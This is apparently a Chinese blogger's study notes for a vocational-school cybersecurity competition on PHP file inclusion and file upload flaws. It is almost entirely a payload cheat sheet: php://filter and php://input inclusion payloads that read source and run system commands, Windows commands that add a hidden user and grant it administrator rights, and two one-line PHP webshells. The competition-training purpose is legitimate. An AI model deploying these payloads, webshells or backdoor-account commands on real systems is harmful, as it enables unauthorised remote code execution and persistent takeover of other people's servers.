全国职业院校技能大赛中职组网络安全竞赛试题 —文件包含漏洞与文件上传漏洞 （笔记文档）

全国职业院校技能大赛中职组网络安全竞赛试题 —文件包含漏洞与文件上传漏洞 （笔记文档）

中职网安 文件包含漏洞与文件上传漏洞 笔记

文件包含漏洞与文件上传漏洞

1.利用条件：allow_url_include = On

2.文件包含漏洞，?file=php://filter/read=convert.base64-encode/resource=index.php  可查看index.php文件的代码

3.文件包含漏洞，?file=php://input  再提交post数据 <?php system("ipconfig")?>  可执行系统cmd命令并查看

cmd部分提权常用命令：
whoami  查看当前用户
ipconfig 显示本地IP地址
net start telnet 开telnet服务
net user　　　　　　　　　　　　查看所有用户列表
net user hucxsz hucxsz /add 添加用户hucxsz密码为hucxsz
net localgroup administrators hucxsz /add 将帐号hucxsz升级为管理员
文件上传：
php一句话木马<?php eval($_POST[hucys]);?> 
cmd命令执行  <?php $rel = system($_GET['cmd']); echo $rel; ?>

有问题可以私信博主哈~~~~~

觉得有对你有帮助话给个一键三连（您的鼓励是我的动力）

祝大家身体健康万事如意！！！